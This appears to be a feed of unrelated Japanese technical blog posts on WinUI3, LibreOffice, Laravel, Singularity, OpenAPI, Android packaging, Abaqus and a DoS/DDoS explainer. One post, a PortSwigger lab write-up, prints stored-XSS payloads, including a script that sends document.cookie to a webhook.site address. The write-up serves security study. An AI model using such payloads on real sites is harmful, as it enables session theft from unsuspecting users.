![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/352601/3987e4b4-89ea-b2dc-e678-44815eb9c88e.png)

そのときは、`<HyperlinkButton>`を使って無理くり実現したのだが、その後試していると、うまくいかないところが出てきた。(文字列が長くなってテキストを折り返したいなと思ったときに、うまく折り返してくれない等。)

で、改めてWinUI3 ギャラリーを見直すと、もっと簡単に、もっとちゃんとできる、よさげな奴があったので試す。

# 前提

- VisualStudio2022 Community 17.3.0
- WinUI3.0
- Windows App SDK 1.1.2
- 2022年8月の時点で調査実施

# やり方

`<RichTextBlock>`を使う。

# サンプルコード

```cs
<Window
    x:Class="InlineLinkTextJikken.MainWindow"
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:local="using:InlineLinkTextJikken"
    xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
    mc:Ignorable="d">

    <RichTextBlock>
        <Paragraph>
            ご意見・ご感想は
            <Hyperlink NavigateUri="https://www.google.com">こちら</Hyperlink>
            まで。
        </Paragraph>
    </RichTextBlock>
</Window>
```

動かしたところ。
ちゃんとマウスオーバーしたら矢印の形が変わるし、Tabを押したらリンクの部分にフォーカスが合う。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/352601/c9e69bea-fb4e-15ce-523b-78b9438befb9.png)

長い文章だったとしても、標準で端で折り返してくれる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/352601/d24deb7d-8612-cfdf-b83d-85c0e762666e.png)

今回は、特に飾りっ気のない文言にしたが、
やろうと思えば、`<Run>`を使って文章の一部のフォントを変えたり、選択した部分の色を指定したりできる様子。

その辺は、WinUI3ギャラリーを参照。


# 参考

無理やり実現しようとして妙なことをしてる自分の記事。

https://tera1707.com/entry/2022/08/12/013207

WinUI3 ギャラリーの`RichTextBlock`のページのコード。

https://github.com/microsoft/WinUI-Gallery/blob/8173236effbe556a219410b4c1db76b961ec47a0/WinUIGallery/ControlPages/RichTextBlockPage.xaml
LibreOffice の UI を統一感あるメニュー構成にする

LibreOffice は 2010 年より10年以上使用、OpenOffice.org や StarSuite の時代からだと 20年以上使っている。

長年同じような操作感で使っていたが、最近は結構 UI 構成がゆらいでいて、インストールしたままで使っているとイザというときにあの機能はどこにいったかな? とうろたえることが多くなってきた。



- Writer
- Calc
- Impress
- Draw

LibreOffice は主に上記4点のアプリから構成されている。UI はそれぞれの構成になっているが、主にアイコンボタンの並び位置を同じような感じに揃えるようにしてみた。

# 環境

- Ubuntu 22.04 LTS
- LibreOffice Version: 7.3.4.2
  - Ubuntu のパッケージからインストール

MS-Windows等でも同様のハズ。

# ポリシー

 Calc を以下のように設定した。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/02afbd2e-18f9-c4eb-8212-0cf955b137a2.png)

- アイコンを適宜追加するけれどもアイコンだらけにならないように、使わないアイコンは削除。
- 印刷はいまどき使わないのでアイコンボタンから消去
- 同様に、新規作成、保存、切り取り、コピーなどもアイコンボタン以外で操作するのでアイコンボタンから消去
- 図形描画ツールバーを下表示しておく

Writer/Impress/Draw も大まかにこれと似たように設定する

# 共通設定

Writer/Calc/Impress/Calc 共通で以下の設定をする
- 「表示」-「ツールバー」-「カスタマイズ」で以下を削除
  - 新規作成
  - 開く
  - 保存
  - 印刷
  - 印刷プレビュー  
  - pdf として直接エクスポート
  - 切り取り
  - コピー
  - 貼り付け
- 「表示」-「サイドバー」でサイドバーを消す
- 「表示」-「ツールバー」- 「図形描画」で図形描画ツールバーを下表示させておく
  - 下表示していないときは下部に移動
- ツールバーの位置を整理 

# LibreOffice Calc
初期状態
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/e37514bc-7615-6135-2bb9-3fd79b6aec72.png)

この状態から共通設定を行う

# LibreOffce Writer
初期状態
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/7eb1fde3-0d9f-dc46-f843-fe90f43f6476.png)

この状態から共通設定を行う


# LibreOffice Impress
初期状態
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/b23cd1d2-a021-d7e1-6470-617cdf966058.png)

この状態から共通設定を行った上で、以下の設定を行う

- 「表示」-「タブバーの表示」
- 「表示」-「ツールバー」で以下を追加
  - 制御点の編集
  - 線と塗りつぶし
- 「表示」-「ツールバー」-「カスタマイズ」-「ツールバー」で以下を追加し、割当順を上位に上げておく。
  -  レベルを下げる
  -  レベルを上げる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/dd03fafc-8e7d-c68e-105a-a4b001a6cd6f.png)
「レベルを下げる」、「レベルを上げる」は一度設定しても「標準」モードで何故かアイコンが表示されない。
「表示」-「ツールバー」-「カスタマイズ」でチェックを一旦外しOK,更にもう一度チェックを付け直すと「標準」モードでもアイコンが出るようになる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/a7114be8-11c4-9890-0606-065b6c4bb8cd.png)



# LibreOffice Draw
初期状態
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/fea67168-6cd9-f82f-53c3-6d681957bac3.png)

この状態から標準設定を行うが、
> - 「表示」-「サイドバー」でサイドバーを消す
> - 「表示」-「ツールバー」- 「図形描画」で図形描画ツールバーを下表示させておく
これについては用紙設定がA4縦となる場合も多いため、デフォルトの設定に沿い以下のようにアレンジ

- サイドバーを消さず、テキストプロパティ、塗りつぶしプロパティ、線プロパティなどをサイドバーで処理する
- 図形描画ツールアーは左サイドに表示する


更に、以下の設定を行う

- 「表示」-「ツールバー」で以下を追加
  - 制御点の編集
- 「表示」-「ツールバー」-「カスタマイズ」で以下を追加
  - 小文字
  - ガンマ
  - カラー
  - 明度

設定後
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/75dbf9bb-0177-e784-79c4-6a70febf5bc6.png)

この図では星印を直線に変換しています。制御点編集アイコンは編集可能なオブジェクトでなければ表示されません。
また、画面下のレイヤコントロールはウィンドウが縦ある程度サイズがないと表示しないのですね。焦りました。
.NETのgitignoreファイルを作成する

.NETに入門して、gitignoreファイルの作成方法をメモしておく。

.NETコマンドで作成する
---

ファイルの作成したい場所に移動して実行する。
```
dotnet new gitignore
```

実行すると
```
テンプレート "dotnet gitignoreファイル" が正常に作成されました。
```
というメッセージが返ってくる。
人事のおじさんプログラミングを学ぶ Day5「比較演算子、データ型」

書籍『確かな力が身につくJavaScript「超」入門 第2版』に沿って、
数あてゲーム～比較演算子、データ型までやってみた。
テキスト閲覧せずには書けないけれども、まずは考えすぎず進めよう。
![2022-08-22 (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2783084/4b7d8583-86a0-e9ea-e1b4-18e9d5234a6e.png)
吸着理論-吸着等圧線をプロットしてみたよ-

# Langmuirの吸着等温式

温度一定条件下での固体表面への吸着物質の吸着量の圧力依存性に関する理論。
導出せずに紹介だけします。
Langumirの吸着等温式は以下のような条件が成り立つときのモデルである。

- 一つの吸着サイトには1分子のみ吸着する(単相吸着)

$ \theta = \frac{abp}{1 + ap}$

ここで$ \theta$, $ a$, $ b$, $ p$はそれぞれサイトの被覆率(0~1)、平衡定数、飽和吸着量、圧力[Pa]となります。

詳しい導出は下記を参照。特に二つ目はLangmuir先生ご本人の論文です。
・近藤清一、石川達雄、安部郁夫「吸着の科学」(丸善出版、2001)
・Langmuir, Irving. "The adsorption of gases on plane surfaces of glass, mica and platinum." Journal of the American Chemical society 40.9 (1918): 1361-1403.



# 吸着平衡

Langumirの吸着等温式の条件で温度、圧力が可変の場合でも成り立つ吸着式は以下のようになります。
これも導出大変そうなんでやりません。紹介です。英語ではabsorption-desorption equilibriumというので、検索するといい解説あるかもしれません。いい解説があれば僕が読みたいです。

$ \theta = \frac{b(T)p}{1 + b(T)p}$
$ b(T) = \frac{s_0 \exp(\frac{q}{RT})}{v \sigma \sqrt{2 \pi m RT}} $

ここで、$ s_0 $, $ q $, $ v $, $ \sigma $, $ m $ はそれぞれ、吸着剤に到達した吸着分子の吸着確率、吸着熱[J/mol]、周波数[Hz]、サイトの密度、吸着物質の分子量を表します。$ R = 8.3144$[J/K mol]は気体定数です。

こちらも詳細は以下を参照してください。
・Weiss, Werner, and Wolfgang Ranke. "Surface chemistry and catalysis on well-defined epitaxial iron-oxide layers." Progress in Surface Science 70.1-3 (2002): 1-151.

## plotしてみよう
これをプロットしてみようっていうのが今回の本題です。
世の中に吸着等温線のプロットは山のようにあるのですが吸着等圧線のプロットはそんなにないので、吸着等圧線のプロットにしてみます。圧力を変化させたプロットも重ねましょう。


```Python
import matplotlib.pyplot as plt
import numpy as np

T = np.linspace(1,1000,1000)
R = 8.13
q = 58000
q2 = 5800
p = 1013.25*np.exp(np.linspace(1,20,10))
b0 = 10e-12
M = 1

b1 = (b0 * np.exp(q/(R * T)))/np.sqrt(2 * np.pi * M * R * T)

fig = plt.figure()
ax = fig.add_subplot(111)

for i in range(5):
    theta = (b1*p[i])/(1 + b1*p[i])
    plt.plot(T,theta)
    
ax.set_xlabel('Temperature[K]', fontsize=20, color='black')
ax.set_ylabel('Coverage', fontsize=20, color='black')
```

定数は適当な値を入れています。以下実行結果です。

![adsoption_isobar.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2804113/0ecdc507-3c27-a87f-c8fa-7735716aaa21.png)

いい感じですね。
低温においてはほぼ全てのサイトに吸着が行われていて、高温にいくにつれて脱着が行われていく挙動が確認できます。低温では吸着によって得られる相互作用エネルギーにより安定化した方がよくて、高温になるとバラバラになった方がエントロピー的に有利になるということだと思います。固体が液体や気体に変化する相転移と似ていますね。
ASP.NETの基本開発（パッケージ管理方法）

# この記事の目的

ASP.NETでパッケージ管理する方法を記述する

# ASP.NETのパッケージ管理

![スクリーンショット 2022-08-22 22.40.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/cdb33197-81c8-d5a7-4c69-bc0068acc162.png)

![スクリーンショット 2022-08-22 22.40.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/bfdc4b24-cdb6-ef12-bb8a-284fe5fd6eb3.png)

![スクリーンショット 2022-08-22 22.41.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/256de1da-067b-7635-5ff4-0601bb213065.png)

# ASP.NETの開発

## Modelの編集

## Viewの編集

## Controllerの編集
【Laravel】モデルで更新日（updated_at）のみ更新する 

## 答え
touch()メソッドを使います。たとえば、下記のようにします。

```PHP:Laravel
$item = Post::find(1);
$item->touch();
```
上記コードによって下記のクエリーが実行されます。

```SQL:SQL
update posts set updated_at = '2022-08-15 09:21:04' where id = 1
```

## 使いどころ

下記のようなリレーションのテーブルがあったとします。
![テーブル例](https://res.cloudinary.com/dslmgt8qg/image/upload/v1660965582/table_h3992i.png)
postsは記事テーブル、tagsは記事に関連するタグテーブルと考えてください。

管理画面で
- タイトル
- 内容
- 関連タグ

を編集する機能にて、タイトルと内容はそのままで関連タグのみ変更する場合、下記のようなコードではpostsのupdated_atが更新されません。
```PHP:Laravel
$item = Post::find($request->id);
$item->title = $request->title;
$item->contents = $request->contents;
item->save();
```
記事の一覧画面が更新順に表示されるようになっている場合、さっき更新したのに一番上にあがってこない、なんで？？、という状況になります。

そこでtouch()です。
```PHP:Laravel
$item = Post::find($request->id);
$item->title = $request->title;
$item->contents = $request->contents;
$item->save();
$item->touch();
```
ちなみに save() で updated_at が更新された場合（つまりタイトルか内容が更新された場合）は touch() による UPDATEクエリーは発行されません。

さすがLaravelといったところです。

## 別案
update() であれば内容が変わっていなくても update_at を更新することができます。
```PHP:Laravel
Post::where('id', $request->id)
    ->update([
        'title' => $request->title,
        'contents' => $request->contents,
    ]);
```
OOM とは

## 勉強前イメージ

out of memory

## 調査

### OOM とは

Out Of Memory の略でプログラム実行時のエラーです。
OMMエラーやメモリリークとも呼ばれます。
プログラム実行時に必要なメモリ量が確保できずに、それ以上の処理が進められない場合に発生します。

多くの場合以下が原因になっています。

- 必要なメモリ量がそもそもない
- システムでメモリリークが発生してる
- メモリの断片化で必要なメモリを確保できていない

メモリ量が足りずにプログラムにメモリが割り当てられなかった場合はOOMエラーで異常終了しますが、
プログラムの実行方式によってはプログラムを強制終了します。

メモリが足りなくてシステムが停止するおそれがある場合は
メモリをよく使っているプロセスを殺しに来る [OOM Killer](https://qiita.com/miyuki_samitani/items/eb85a02d871df922eb06) があります。

## 勉強後イメージ

そのまんまやった。
そういえばOOMキラーってあったね

## 参考

- [OOM 【Out Of Memory】 アウトオブメモリ](https://e-words.jp/w/OOM.html)
SingularityでPytorchの環境構築

## 内容
こちらでは、私がつまづいた点などをまとめていきます。
anacondaを使って環境構築をします。

## 手順
1. definition file から sifファイルを作成
```
singularity build --fakeroot <container_name>.sif <definition_file>
```

* 使用したdefinition fileはこちらです。

```
Bootstrap: docker
From: ubuntu:16.04

%post
    # initial get updated and command
    apt-get -y update && apt-get install -y --no-install-recommends bzip2 vim git wget htop tmux
    
    # gcc and g++
    apt-get install -y build-essential
    apt-get install -y software-properties-common
    add-apt-repository ppa:ubuntu-toolchain-r/test
    apt-get update
    apt-get install g++-7 gcc-7
    update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-7 7
update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-7 7
    gcc --version
    g++ --version

    # prerequisite for anaconda
    apt-get install -y --no-install-recommends libgl1-mesa-glx libegl1-mesa libxrandr2 libxrandr2 libxss1 libxcursor1 libxcomposite1 libasound2 libxi6 libxtst6
    
    # anaconda
    wget --no-check-certificate https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh

    # /anaconda以下にインストール
    bash ./Anaconda3-2022.05-Linux-x86_64.sh -b -p /anaconda
    rm ./Anaconda3-2022.05-Linux-x86_64.sh
    echo 'export PATH=/anaconda/bin:/bin:/usr/bin:$PATH' >> ~/.bashrc
    source ~/.bashrc
    conda update -y -n base -c defaults conda
```

2. sandboxをsifから作成
```
singularity build --sandbox <sandbox_name> <container_name>.sif
```

3. コンテナ内(sandbox)にログイン
```
singularity shell --fakeroot --writable <sandbox_name>
```

4. conda pathの確認
```
which conda  => ※/anaconda/bin/conda
```
/anaconda以下のcondaが呼ばれていることを確認。私の場合、コンテナを立てているサーバーのcondaが読み込まれており、競合して複数のエラーが発生した。

5. 仮想環境を作成し必要なパッケージのインストール
```
conda create -y -n pytorch3d python=3.8
eval "$(conda shell.bash hook)"
conda activate pytorch3d
conda install pytorch torchvision torchaudio -c pytorch
conda install -y -c fvcore -c iopath fvcore iopath
conda install -y -c bottler nvidiacub
conda install -y  jupyter
```
### エラーが発生した際に確認すると良いこと
全て、/anaconda以下のファイルが参照されているか確認

#### anacondaのpath
```
which conda
```
#### pythonのpath
```
which python
```
#### pipのpath
```
which pip
```
#### packageのpath
```
python
>> import numpy
>> print(numpy.__file__)
```
#### cuda関連の場合
#### cudaが読み込まれているか
```
 torch.cuda.is_available()
```
#### cudaのバージョン
```
print(torch.version.cuda)
```
OpenAPI Generatorでカスタムテンプレートを使いたい

OpenAPIを使って自動生成コードを作るときにカスタマイズしたいことありますよね、、
そんな時のために、OpenAPIでカスタムテンプレート作成の方法が公式から説明されています。

https://openapi-generator.tech/docs/templating/#modifying-templates

・・・長っ！！！

ということでとりあえずカスタムテンプレートを動かしたい人向けに記事を書きます。

## バージョン

 - Gradle
   - 7.5
 - OpenAPI Generator Gradle Plugin
   - 6.0.1

```build.gradle
plugins {
    id "org.openapi.generator" version "6.0.1"
}

openApiGenerate {
    generatorName = "kotlin-spring"
    templateDir = "$rootDir/openapi/templates"
}
```

`templateDir`というプロパティを追加します。
ディレクトリはテンプレートファイルを置きたい場所を指定してください。

テンプレートファイルのデフォルト値は以下にあります。
使用している言語のディレクトリの中身をまるっと`templateDir`にいれればOKです。

https://github.com/OpenAPITools/openapi-generator/tree/master/modules/openapi-generator/src/main/resources/

あとは対象テンプレートの`.mustache`ファイルを自分が好きなようにカスタマイズすればそのテンプレートで出力されます。
[Android][Kotlin]圧縮ネイティブ・ライブラリについて

<p>新規アプリケーションをPlay Consoleにアップロードする場合はAndroid App Bundle (AAB) 形式が義務付けられているが、既存アプリケーションでリリース手順を変更したくないとか、デバッグ用途でadbコマンドで端末にアプリケーションをインストールする場合はAndroid Application Package (APK) 形式でアプリケーションを生成することになる。</p>

<p>Play ConsoleにアップロードされたAABは、ストアによってインストールする端末に対応しAPKを生成し、ストアによって署名して端末にダウンロードされインストールされる。</p>

![AAB.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/12540/ec80ade4-4223-cc42-9cf7-f75b5ded54a4.png)

<p>アプリケーションのサイズを縮小するという目的で、デフォルト値がサイズ縮小の方向になるようになった。</p>

<p>Gradleで署名されたAPKを生成される場合は、サイズ縮小のための変更点について気にしなくても問題がないが、手動で署名する場合、変更点を気にするポイントがある。</p>

# アプリのサイズを削減する
<p>APK内のネイティブ・ライブラリが圧縮されていると、インストール時にPackageManagerがAPKからネイティブ・ライブラリをコピーするが、圧縮されていないとコピーされない。圧縮されていないとAPKのファイルサイズは増加するが、ネイティブ・ライブラリのコピーが発生しないので、結果的に端末のストレージを消費するサイズが小さくなる。</p>

# APKのダウンロードサイズ
<p>ネイティブ・ライブラリが非圧縮の方が、ストアの圧縮効率が高いと説明されており、結果、ダウンロードサイズが小さくなるそうだ。ただし、こちらの欠点は、Play Consoleにアプリをアップロードしないと、ダウンロードサイズが制限内か分からないことだ。</p>
<p>Android StudioにはAPK Analyzerが用意され、これを使うとダウンロードサイズを得ることができるが、サポートに確認したところ、これの計算式はストアでダウンロードサイズを得る計算式と異なるという説明だったので、目安程度と考えるのが良さそうだ。</p>

# ネイティブ・ライブラリの圧縮の指定
<p>AndroidManifest.xmlのandroid:extractNativeLibsが"false"だと非圧縮となる。Android Gradle プラグイン (AGP) 4.2.0 以降は、build.gradleのuseLegacyPackagingに置き換わっている。また、extractNativeLibsのデフォルト値はminSdkVersionとAGPのバージョンによって異なる。</p>

# zipalignの-pオプション
<p>APKに共有ライブラリ.soが含まれている場合は、-pオプションを指定して、mmapに適して4KBページ境界にライブラリをアライメントする必要がある。この対応はネイティブ・ライブラリが非圧縮となった場合に必須となったようだ。</p>

<p>本件は関係する項目がバラバラに説明されており、把握するのに苦労した。Googleが推奨する手順、Android StudioでアプリケーションをAAB形式で生成する場合、変更点を把握していなくても、気づかず、うまく行っていたと思うが、非推奨の手順を選択していると罠に引っかかることがある。今回、APK内の共有ライブラリ.soは圧縮から非圧縮に変わり、Gradleで署名していない場合、zipalignコマンドの-pオプションの指定が必須になっていたとは…</p>

# 【関連情報】
<a href="https://developer.android.com/studio/publish/app-signing?hl=ja">アプリへの署名</a>
<a href="https://developer.android.com/studio/build/apk-analyzer?hl=ja">APK Analyzer でのビルドの分析</a>
<a href="https://developer.android.com/guide/topics/manifest/application-element?hl=ja">android:extractNativeLibs</a>
<a href="https://developer.android.com/topic/performance/reduce-apk-size?hl=ja#reduce-code">ネイティブ コードと Java コードを削減する</a>
<a href="https://developer.android.com/studio/releases/gradle-plugin#extractNativeLibs">非圧縮ネイティブ ライブラリのパッケージ化（デフォルト）</a>
<a href="https://developer.android.com/studio/command-line/zipalign?hl=ja#usage">zipalign</a>
<a href="https://issuetracker.google.com/issues/241831648">There are explanations of similar concepts, and the content is difficult to understand.</a>
<a href="https://cocoa-kanto.connpass.com/">Cocoa.swift</a>
<a href="https://www.facebook.com/groups/cocoa.kanto/">Cocoa勉強会 関東</a>
<a href="http://www.bitz.co.jp/weblog/">Cocoa練習帳</a>
OpenApiGenerateでインターフェースだけ出力したい

OpenApiでインターフェースだけ出力したい！
というときに他にも色々出力されて気になったので調べてみました。

## バージョン

- Gradle
    - 7.5
- OpenAPI Generator Gradle Plugin
    - 6.0.1

以下設定を`build.gradle`に設定すればIFだけ出力されます。
`true`をダブルクオートで囲わなきゃ動かないのがトラップです。

```build.gradle
plugins {
    id "org.openapi.generator" version "6.0.1"
}

openApiGenerate {
    generatorName = "kotlin-spring"
    configOptions = [
        interfaceOnly: "true"
    ]
}
```
Dos攻撃・DDos攻撃違いはなに？ 特徴と対策をまとめてみた。

「Dos攻撃」「DDos攻撃」どちらも大量のデータを送りつけるサイバー攻撃です。
両者の違いを一言で表すなら、**攻撃に使うパソコンの台数です。**

## 「Dos攻撃」とは
DoS攻撃とは「Denial of Service attack」の略です。
日本語でいうと:helmet_with_cross:**サービス妨害攻撃**という意味になります。　

Dos攻撃の特徴として、一台のパソコンを使い意図的に不正なデータ、あるいは膨大な量のデータを送りつけて攻撃します。
処理できる能力に限界のあるサーバーはこれにより機能が止まってしまいます。
このようにサーバーの機能を止めること(サーバーに対しての攻撃)を目的としてます。

Dos攻撃はターゲットの情報を盗む、不正利用するといった行為は試みません。

## 「DDos攻撃」とは

DDoS攻撃は「Distributed Denial of Service attack」の略です。
日本語でいうと:helmet_with_cross:**分散型サービス妨害攻撃**という意味になります。

分散型とは何でしょう?
**ここでの分散型とは攻撃を行う端末を多数台使用することを指します**

1台の端末から（Dos攻撃）多くのデータを送ったとしても、大きな問題とならないことが想定されます。そこで、攻撃を行う端末を多数用意し、大規模な相手に対しても有効に攻撃を実行しようとするのがDDoS攻撃です。

このとき、攻撃者の端末が使用されるとは限りません。攻撃に使用される端末はパソコンだけではなくインターネットに接続できるものであれば、スマートフォンなども当てはまります。

知らずに自身の機器を使われる可能性もあるので、ターゲットになるのを防ぐだけでなく知らずに加害者になってしまうことも防がなくてはなりません。


## 攻撃目的

攻撃目的としては脅迫や金銭の搾取、抗議、嫌がらせなどが挙げられます。
DDos攻撃を仕掛けると脅迫し、金銭の要求を行うパターンや、すでにDDos攻撃を仕掛け、やめてほしければ金銭を出せなどと脅迫するといった攻撃目的もあります。

また、企業や、政府に対する抗議目的で行われることもあります。
企業への不信感、政府への不信感を示すためにDDos 攻撃を仕掛けるといったことも度々発生してます。

##  攻撃事例

有名で関心の高いところで行くとやはりアノニマスの攻撃事例かと思います。
アノニマスが行う攻撃の一つがDDos攻撃です。

- 2015年11月21日 厚生労働省のホームページが攻撃受ける
- 2016年1月18日 金融庁のホームページが攻撃を受ける
- 2015年10月17日 成田空港のホームページが攻撃を受ける

最新のものでいえば2022年2月下旬から開始されたロシアによるウクライナ侵攻に抗議した事例も記憶にあたらしいでしょう。

## 対処法

- IPアドレスの制限
これは個人的にDos攻撃には有効な対策だと思います。

- アクセス制限
DDos攻撃は複数のコンピュータを踏み台にしてくるため個別のIP制限だけでは不十分です。
DDoS攻撃は海外のコンピューターを経由していることも多いため、例えば、日本国内からのアクセスのみを許可するといったアクセス制限が有効だと言えます。

- ツールの導入
AWSでもWAFといったアプリケーションを標的とした攻撃から保護するサービスがあります。
こちらも有効な手段の一つです。

## まとめ

子供のころはサイバー攻撃なんてドラマの世界だとおもってました。
実際には全然そんなことありません。身近に存在するものです。
今、記事を書いている間にもどこかで攻撃が行われているかもしれません。
信じるか信じないかはあなた次第です。
【XSS編】BurpSuite開発元のWebSecurity Academyに入門した

# はじめに

Burpsuiteの開発元の会社が、Webセキュリティの解説ページ(英語)を提供しています。
それを解いたときの記録です。

https://portswigger.net/web-security

## XSSの基本形

[Stored XSSの解説ページ](https://portswigger.net/web-security/cross-site-scripting/stored)

ブログサービスに投稿すると、他ユーザーにコメントを表示できるとする。

下記のように投稿すると、ブログサービスは```<p>This post was extremely helpful.</p>```を返答することが想定される。

```text
POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Length: 100 postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
```

ここで、commentが```<script>/* Bad stuff here... */</scrip>```と仕組まれていて、そのままサービス内DBに保存されると、閲覧した他ユーザーのブラウザ上で任意スクリプトが実行されることになる。


## Lab: Stored XSS into HTML context with nothing encoded

[link](https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded)

ブログの記事にコメントを投稿できるサービスで、コメント欄に```<script>alert(1);</script>```と投稿するとクリアできた。


## Lab: Exploiting cross-site scripting to steal cookies

[link](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)

ブログのコメント欄にstored XSSを仕込んで、クッキーを盗み取る。
クッキーの送信先は[webhook.site](https://webhook.site/#!/59985c26-45d9-45f1-8e0b-8cfc378b69ba)を指定すると良さそうだ。

```text
<script>
fetch('https://webhook.site/59985c26-45d9-45f1-8e0b-8cfc378b69ba', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
```
【Abaqus】使い方講座その1　3D Shellにおける「複合材レイアップの作成」の使い方


# はじめに

前回記事にも書きましたが、Abaqusの日本語の情報が少ない少ない。

https://qiita.com/yuki_2020/items/d613eedb149cbbd16ce8


なので自分でやったことを記事にして紹介していこうと思います。
他の回は以下のサイトにまとめています。
https://qiita.com/yuki_2020/items/d613eedb149cbbd16ce8#%E4%BD%BF%E3%81%84%E6%96%B9%E8%AC%9B%E5%BA%A7%E9%80%A3%E8%BC%89



今回は、以下の動画を参考にして、複合材レイアップの作成方法を紹介します。



https://www.youtube.com/watch?v=2T2ZYEzET_U


# 使い方

## パート

パートでは、3次元でのシェルで、タイプは平面を選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/1334fb02-a337-99ee-c31a-1102164648a2.png)

## 特性

### 材料特性の作成


特性では「機械的」→「弾性」→「弾性」を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/e5e74fae-a40c-ec28-f670-2dd53513f7e0.png)

そして複合材の場合、タイプを「工学的定数による異方性」として各種剛性やポワソン比を入力します。
なお、今回は寸法をmmで入力しているため、剛性の単位はMPaとして入力しています。

https://www.lancemore.jp/dyna_db/unit_01/index.html

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/0dd8e6f2-0d2c-3dd8-8cff-852b0d30e08e.png)


今回の座標系は以下のようになっていると予想されます。
![test1_2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/f1dfaae7-ea51-5503-be7d-ffaccdf39761.png)



### 複合材レイアップの作成

今回の本題です。

特性の左に並んだうちの上から4つ目のカラフルな積層のマークを押します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/8c1e68f6-af40-6ccb-282f-7f0c5cd5e1d0.png)


すると以下のような画面が出てくるので、今回は「一般シェル」を選択します。
![image.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/1547e9f2-2d95-ac01-0a35-611a84f706ba.jpeg)


「続ける」を押すと、以下のようなウィンドウが出るので、まずは領域の空白を全部選択して「領域」をダブルクリック。
![image (1).jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/cfe76d16-1006-3037-6715-573822061fe3.jpeg)



そして今回の複合材を割り当てるパートを選択して「完了」を押すと、以下のように割り当てられます。
![image (2).jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/668555ca-7fcd-8b7a-64f8-e375a0be7139.jpeg)




そして、「材料特性」は先ほど作成したものを指定し、「厚さ」をそれぞれ入力し、「回転角度」は繊維の方向を入力します。
なお、「計算された特性を対称にする」にチェックを入れると、Ply-1を端とした対称積層になります。
![image (5).jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/704a774c-da8c-d85a-9196-625fe54c7b63.jpeg)


### 積層の確認

上記のように設定しても、本当に積層が正しいのかわかりません。
そこで、積層を視覚的に確認します。

まず、上のバーの中の端にある、青丸にiが書いてある「クエリ情報」を押します。
![image (3).jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/003fa9fb-d546-d128-7847-e1efe3f6cbd1.jpeg)

そして出てきたクエリウィンドウの中で、「プライスタック方向プロット」を押します。
![image (4).jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/562b3c5b-cd34-3c2c-bd1b-f97fc279fcf1.jpeg)


画面が２つに分かれると思うので、積層を割り当てたパートをクリックすると、もう一方のウィンドウに積層が見やすく表示されます。
![image (6).jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/993303/a7d28f3e-6dc6-6dbc-3ec7-12e9dfc207b9.jpeg)





## 残り

後は普通の解析とやり方は同じです。
引っ張るなりなんなりしてください。



# 終わりに

複合材レイアップの作成の使い方を紹介しいました。
比較的短時間で記事が作成できたので、今後も作成していきたいと思います。
MacでASP.NETの環境構築

# この記事の概要

ASP.NETをMac環境で使う設定について記述する

https://docs.microsoft.com/ja-jp/visualstudio/mac/asp-net-core?view=vsmac-2022

# Visual Studio2022のダウンロード

https://visualstudio.microsoft.com/ja/downloads/?utm_medium=microsoft&utm_source=docs.microsoft.com&utm_campaign=navigation+cta&utm_content=download+vsmac2019

![スクリーンショット 2022-08-22 21.51.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/e3c0ea6d-44a1-c2fd-dd27-2cff54805a15.png)

今回は.NETのみのインストール

 ![スクリーンショット 2022-08-22 22.06.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/1d2785a4-89b4-34b4-8817-2b1ea12536e6.png)

# 新規で作成する

![スクリーンショット 2022-08-22 22.07.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2711205/e6bc36ac-0869-09f9-291d-8b59ad466873.png)

